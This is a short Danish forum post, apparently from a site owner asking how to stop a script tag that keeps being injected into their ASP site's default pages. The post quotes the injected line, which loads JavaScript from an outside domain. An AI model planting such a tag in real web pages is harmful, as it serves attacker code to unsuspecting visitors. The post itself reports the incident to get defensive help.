script tag tilføjet til default.htm og default.asp

I vores asp website er det sket det et par gange indenfor den sidste uge, at der pludselig er blevet indsat et script tag i default.htm og default.asp lige før </body>, så at det er kommet til at se sådan ud:
<script src=http://www.pyttco.com/fgg.js></script></body>

Ifølge loggen er det ikke sket via ftp.
Sitet skulle være beskyttet ok mod sql injection, som vel heller ikke kan bevirke, at der bliver ændret i asp og html filer, vel?
Dato for sidste modifikation på de berørte filer er i øvrigt ikke blevet ændret i forbindelse med dette.

Det har givet en hel del problemer, så det ville være skønt med lidt hjælp til hvordan vi undgår, at det sker igen.